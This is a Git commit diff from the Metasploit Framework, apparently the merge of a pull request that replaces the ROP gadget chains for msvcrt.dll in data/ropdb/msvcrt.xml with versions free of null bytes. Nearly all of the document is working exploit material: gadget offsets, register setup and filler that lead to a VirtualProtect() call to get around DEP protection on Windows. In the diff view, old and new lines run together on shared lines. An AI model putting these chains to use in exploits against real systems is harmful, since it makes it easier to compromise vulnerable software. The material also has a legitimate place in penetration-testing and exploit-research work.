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Land #2447, @wchen-r7's new msvcrt ROP chains without nulls

bug/bundler_fix
jvazquez-r7 2013-10-03 22:38:29 -05:00
parent 8059c59f15 cd1f023f72
commit 9df676ca7e
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GPG Key ID: 38D99152B9352D83
1 changed files with 34 additions and 19 deletions
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53
data/ropdb/msvcrt.xml
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@ -7,12 +7,21 @@
</compatibility> </compatibility>
<gadgets base="0x77c10000"> <gadgets base="0x77c10000">
<gadget offset="0x0002b860">POP EAX # RETN</gadget>
<gadget value="0xFFFFFBFF">0xFFFFFBFF -> ebx</gadget>
<gadget offset="0x0000be18">NEG EAX # POP EBP # RETN</gadget>
<gadget value="junk">JUNK</gadget>
<gadget offset="0x0001362c">POP EBX # RETN</gadget>
<gadget offset="0x0004d9bb">Writable location</gadget>
<gadget offset="0x0001e071">XCHG EAX, EBX # ADD BYTE [EAX], AL # RETN</gadget>
<gadget offset="0x00040d13">POP EDX # RETN</gadget>
<gadget value="0xFFFFFFC0">0xFFFFFFC0-> edx</gadget>
<gadget offset="0x00048fbc">XCHG EAX, EDX # RETN</gadget>
<gadget offset="0x0000be18">NEG EAX # POP EBX # RETN</gadget>
<gadget value="junk">JUNK</gadget>
<gadget offset="0x00048fbc">XCHG EAX, EDX # RETN</gadget>
<gadget offset="0x0002ee15">POP EBP # RETN</gadget> <gadget offset="0x0002ee15">POP EBP # RETN</gadget>
<gadget offset="0x0002ee15">skip 4 bytes</gadget> <gadget offset="0x0002ee15">skip 4 bytes</gadget>
<gadget offset="0x0003fa1c">POP EBX # RETN</gadget>
<gadget value="0x00000400">0x00000400-> ebx</gadget>
<gadget offset="0x00040d13">POP EDX # RETN</gadget>
<gadget value="0x00000040">0x00000040-> edx</gadget>
<gadget offset="0x0002eeef">POP ECX # RETN</gadget> <gadget offset="0x0002eeef">POP ECX # RETN</gadget>
<gadget offset="0x0004d9bb">Writable location</gadget> <gadget offset="0x0004d9bb">Writable location</gadget>
<gadget offset="0x0001a88c">POP EDI # RETN</gadget> <gadget offset="0x0001a88c">POP EDI # RETN</gadget>
@ -33,23 +42,29 @@
</compatibility> </compatibility>
<gadgets base="0x77ba0000"> <gadgets base="0x77ba0000">
<gadget offset="0x0003eebf">POP EAX # RETN</gadget> <gadget offset="0x00012563">POP EAX # RETN</gadget>
<gadget offset="0x00001114">ptr to VirtualProtect()</gadget> <gadget offset="0x00001114">VirtualProtect()</gadget>
<gadget offset="0x0001f244">MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN</gadget> <gadget offset="0x0001f244">MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN</gadget>
<gadget value="junk">Filler</gadget> <gadget value="junk">JUNK</gadget>
<gadget offset="0x00010c86">XCHG EAX,ESI # RETN</gadget> <gadget offset="0x00010c86">XCHG EAX,ESI # RETN</gadget>
<gadget offset="0x00026320">POP EBP # RETN</gadget> <gadget offset="0x00029801">POP EBP # RETN</gadget>
<gadget offset="0x00042265">PUSH ESP # RETN</gadget> <gadget offset="0x00042265">ptr to 'push esp # ret'</gadget>
<gadget offset="0x000385b7">POP EBX # RETN</gadget> <gadget offset="0x00012563">POP EAX # RETN</gadget>
<gadget value="0x00000400">0x00000400-> ebx</gadget> <gadget value="0x03C0990F">EAX</gadget>
<gadget offset="0x0003e4fc">POP EDX # RETN</gadget> <gadget offset="0x0003d441">SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)</gadget>
<gadget value="0x00000040">0x00000040-> edx</gadget> <gadget offset="0x000148d3">POP EBX, RET</gadget>
<gadget offset="0x000330fb">POP ECX # RETN</gadget> <gadget offset="0x000521e0">.data</gadget>
<gadget offset="0x0004ff56">Writable location</gadget> <gadget offset="0x0001f102">XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN</gadget>
<gadget offset="0x00038a92">POP EDI # RETN</gadget> <gadget offset="0x0001fc02">POP ECX # RETN</gadget>
<gadget offset="0x00037d82">RETN (ROP NOP)</gadget> <gadget offset="0x0004f001">W pointer (lpOldProtect) (-> ecx)</gadget>
<gadget offset="0x0003eebf">POP EAX # RETN</gadget> <gadget offset="0x00038c04">POP EDI # RETN</gadget>
<gadget value="nop">nop</gadget> <gadget offset="0x00038c05">ROP NOP (-> edi)</gadget>
<gadget offset="0x00012563">POP EAX # RETN</gadget>
<gadget value="0x03C0944F">EAX</gadget>
<gadget offset="0x0003d441">SUB EAX, 03c0940f</gadget>
<gadget offset="0x00018285">XCHG EAX,EDX # RETN</gadget>
<gadget offset="0x00012563">POP EAX # RETN</gadget>
<gadget value="nop">NOP</gadget>
<gadget offset="0x00046591">PUSHAD # ADD AL,0EF # RETN</gadget> <gadget offset="0x00046591">PUSHAD # ADD AL,0EF # RETN</gadget>
</gadgets> </gadgets>
</rop> </rop>